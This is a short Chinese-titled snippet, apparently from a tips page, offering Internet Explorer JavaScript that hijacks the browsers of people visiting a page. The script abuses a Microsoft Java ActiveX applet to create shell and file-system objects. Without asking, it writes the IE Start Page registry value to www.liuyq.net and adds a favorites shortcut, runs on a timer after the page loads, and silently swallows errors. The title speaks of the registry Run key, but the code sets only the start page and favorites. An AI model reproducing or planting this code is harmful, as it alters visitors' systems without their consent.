怎么把网页自动加载到注册表run中

<SCRIPT language="">
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //this function is only needed if you add favorites or links 
function AddFavLnk(loc, DispName, SiteURL) 
{ 
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 
} 
//end add favorites or links function function f(){ 
try 
{ 
//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); try 
{ 
if (document.cookie.indexOf("Chg") == -1) 
{ 
//set cookie 
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set cookie //set home page 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.liuyq.net/"); 
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set home page //add favorites this is the common part; should be here if you want to add favorites 
var WF, Shor, loc; 
WF = FSO.GetSpecialFolder(0); 
loc = WF + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 
{ 
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 
{ 
return; 
} 
} 
//end common part //the following line is used for adding favorites. 
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters. 
AddFavLnk(loc, "流星工作室", "http://www.liuyq.net"); 
//end add favorites 
} 
} 
catch(e) 
{} 
} 
catch(e) 
{} 
} function init() 
{ 
setTimeout("f()", 1000); 
} init(); </SCRIPT>